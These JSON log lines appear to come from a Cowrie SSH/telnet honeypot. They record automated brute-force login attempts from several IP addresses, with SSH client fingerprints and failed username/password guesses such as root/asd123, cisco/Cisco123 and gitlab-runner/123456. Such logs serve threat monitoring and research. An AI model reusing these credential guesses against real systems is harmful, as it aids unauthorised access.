{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:13.622467Z","src_ip":"45.153.34.112","session":"af449e95e320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:13.988541Z","src_ip":"43.134.175.218","session":"65b7cf594e35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32788,"dst_ip":"10.17.0.5","dst_port":23,"session":"999d918bbfe3","protocol":"telnet","message":"New connection: 192.119.13.58:32788 (10.17.0.5:23) [session: 999d918bbfe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:14.679231Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:14.706885Z","src_ip":"45.153.34.112","session":"af449e95e320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49284,"dst_ip":"10.17.0.5","dst_port":22,"session":"2751249144fa","protocol":"ssh","message":"New connection: 45.153.34.112:49284 (10.17.0.5:22) [session: 2751249144fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:17.053437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:17.060508Z","src_ip":"45.153.34.112","session":"2751249144fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:17.143710Z","src_ip":"45.153.34.112","session":"2751249144fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:17.390566Z","src_ip":"45.153.34.112","session":"2751249144fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:18.477620Z","src_ip":"45.153.34.112","session":"2751249144fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.372265577316284,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:19.005992Z","src_ip":"192.119.13.58","session":"ff3c99dc563b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51338,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1483083a43a","protocol":"telnet","message":"New connection: 192.119.13.58:51338 (10.17.0.5:23) [session: e1483083a43a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:19.743222Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50352,"dst_ip":"10.17.0.5","dst_port":22,"session":"b50f70e563a8","protocol":"ssh","message":"New connection: 45.153.34.112:50352 (10.17.0.5:22) [session: b50f70e563a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:20.598325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:20.602986Z","src_ip":"45.153.34.112","session":"b50f70e563a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:20.688769Z","src_ip":"45.153.34.112","session":"b50f70e563a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:20.937376Z","src_ip":"45.153.34.112","session":"b50f70e563a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.29479169845581,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:21.867326Z","src_ip":"192.119.13.58","session":"a5b7a2d7bc26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:22.021995Z","src_ip":"45.153.34.112","session":"b50f70e563a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":37860,"dst_ip":"159.203.135.109","dst_port":22,"session":"67249d9216a4","protocol":"ssh","message":"New connection: 103.173.227.57:37860 (159.203.135.109:22) [session: 67249d9216a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:22.519193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:22.524337Z","src_ip":"103.173.227.57","session":"67249d9216a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:22.769289Z","src_ip":"103.173.227.57","session":"67249d9216a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbn123456","message":"login attempt [root/zxcvbn123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:23.506032Z","src_ip":"103.173.227.57","session":"67249d9216a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50358,"dst_ip":"10.17.0.5","dst_port":22,"session":"b393d75625b7","protocol":"ssh","message":"New connection: 45.153.34.112:50358 (10.17.0.5:22) [session: b393d75625b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:24.275089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:24.284317Z","src_ip":"45.153.34.112","session":"b393d75625b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:24.365889Z","src_ip":"45.153.34.112","session":"b393d75625b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":37944,"dst_ip":"10.17.0.5","dst_port":22,"session":"234198918d7b","protocol":"ssh","message":"New connection: 43.130.36.39:37944 (10.17.0.5:22) [session: 234198918d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:24.503002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:24.507856Z","src_ip":"43.130.36.39","session":"234198918d7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:24.576897Z","src_ip":"43.130.36.39","session":"234198918d7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:24.615360Z","src_ip":"45.153.34.112","session":"b393d75625b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:24.758697Z","src_ip":"103.173.227.57","session":"67249d9216a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cisco","password":"Cisco123","message":"login attempt [cisco/Cisco123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:24.886568Z","src_ip":"43.130.36.39","session":"234198918d7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:25.700682Z","src_ip":"45.153.34.112","session":"b393d75625b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:25.959634Z","src_ip":"43.130.36.39","session":"234198918d7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.6083300113678,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:27.790688Z","src_ip":"192.119.13.58","session":"c5c8cd62c696","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50376,"dst_ip":"10.17.0.5","dst_port":22,"session":"39c9e30cdc3d","protocol":"ssh","message":"New connection: 45.153.34.112:50376 (10.17.0.5:22) [session: 39c9e30cdc3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:28.087818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:28.092331Z","src_ip":"45.153.34.112","session":"39c9e30cdc3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:28.174006Z","src_ip":"45.153.34.112","session":"39c9e30cdc3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123456","message":"login attempt [gitlab-runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:28.420783Z","src_ip":"45.153.34.112","session":"39c9e30cdc3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:29.505917Z","src_ip":"45.153.34.112","session":"39c9e30cdc3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.07085585594177,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:31.749501Z","src_ip":"192.119.13.58","session":"a867537810f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41086,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bf76163419f","protocol":"telnet","message":"New connection: 192.119.13.58:41086 (10.17.0.5:23) [session: 3bf76163419f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:31.850557Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52554,"dst_ip":"10.17.0.5","dst_port":22,"session":"accce7997715","protocol":"ssh","message":"New connection: 45.153.34.112:52554 (10.17.0.5:22) [session: accce7997715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:31.868772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:31.874190Z","src_ip":"45.153.34.112","session":"accce7997715","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:31.959184Z","src_ip":"45.153.34.112","session":"accce7997715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:32.205121Z","src_ip":"45.153.34.112","session":"accce7997715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:33.291843Z","src_ip":"45.153.34.112","session":"accce7997715","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53400,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7aff1298545","protocol":"telnet","message":"New connection: 192.119.13.58:53400 (10.17.0.5:23) [session: a7aff1298545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:34.921664Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52558,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9bdc7678f3d","protocol":"ssh","message":"New connection: 45.153.34.112:52558 (10.17.0.5:22) [session: a9bdc7678f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:35.611829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:35.617627Z","src_ip":"45.153.34.112","session":"a9bdc7678f3d","protocol":"ssh"}
